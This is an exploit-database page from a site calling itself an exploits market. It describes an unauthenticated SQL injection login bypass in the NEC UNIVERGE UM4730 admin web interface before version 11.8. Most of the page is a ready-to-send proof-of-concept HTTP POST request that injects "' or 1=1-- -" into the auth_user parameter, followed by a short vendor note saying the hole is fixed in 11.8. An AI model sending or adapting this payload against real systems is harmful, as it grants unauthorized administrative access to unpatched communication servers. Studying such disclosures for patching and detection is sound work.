[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

NEC UNIVERGE UM4730 < 11.8 - SQL Injection Vulnerability

Author
b0x41s
Risk
[
Security Risk High
]
0day-ID
0day-ID-28161
Category
web applications
Date add
22-07-2017
Platform
php
# Exploit Title: NEC UNIVERGE UM4730 < 11.8 SQL injection
# Vulnerbility: SQL injection login bypass
# Date: 15-12-2016
# Exploit Author: b0x41s
# Author web: https://www.xrayit.nl
# Vendor Homepage: https://www.nec-enterprise.com
# Category: webapps
# Version: 11.6.0.31
# Tested on: Windows server 2008
 
Description:
The auth_user parameter is vulnerable to SQL injection.
The login can be bypassed.
 
POC:
POST /admin/index.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://127.0.0.1/admin/index.php
Content-Type: application/x-www-form-urlencoded
Content-Lenght: 105
Cookie: PHPSESSID=dadu22lsue7utch05a24lgp54; g_lang=en
submitButton=submitButton%3dSing+in&formSubmitted=1&auth_pw=root&auth_user='%20or%201=1--%20-&login_language_select=de
 
Fix answer from vendor:
The WAC login page is no longer available to sql injection bypassing authentication.The fix was committed prior to releasing 11.8.

#  0day.today [2024-12-25]  #